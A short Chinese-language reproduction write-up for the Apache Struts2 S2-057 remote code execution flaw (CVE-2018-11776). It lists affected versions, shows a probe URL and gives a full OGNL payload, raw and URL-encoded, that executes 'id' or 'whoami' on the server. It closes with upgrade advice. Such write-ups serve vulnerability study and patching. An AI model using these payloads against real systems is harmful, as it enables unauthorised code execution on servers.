struts2 S2-057(CVE-2018-11776)

漏洞介绍

该漏洞是由于在Struts2开发框架中使用namespace功能定义XML配置时，namespace值未被设置且在上层动作配置（Action Configuration）中未设置或用通配符namespace，可能导致远程代码执行;url标签未设置value和action值且上层动作未设置或用通配符namespace时可能会导致远程代码执行.

受影响版本

<=Struts  2.3.34，Struts 2.5.16

漏洞复现

1.访问地址

http://ip:port/struts2-showcase/

构造payload访问，并抓包

http://ip:port/struts2-showcase/$%7B233*233%7D/actionChain1.action

 发送到重发器进行发包，发现233*233的结果已经在Location头中返回，说明存在漏洞

 构造payload

${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

进行url编码 

$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D

 漏洞防御

建议将Apache Struts升级到最新版本2.3.35或是Apache Struts最新版本2.5.17，直接升级即可官方已经做好漏洞补丁，预计不会出现向后不兼容的问题。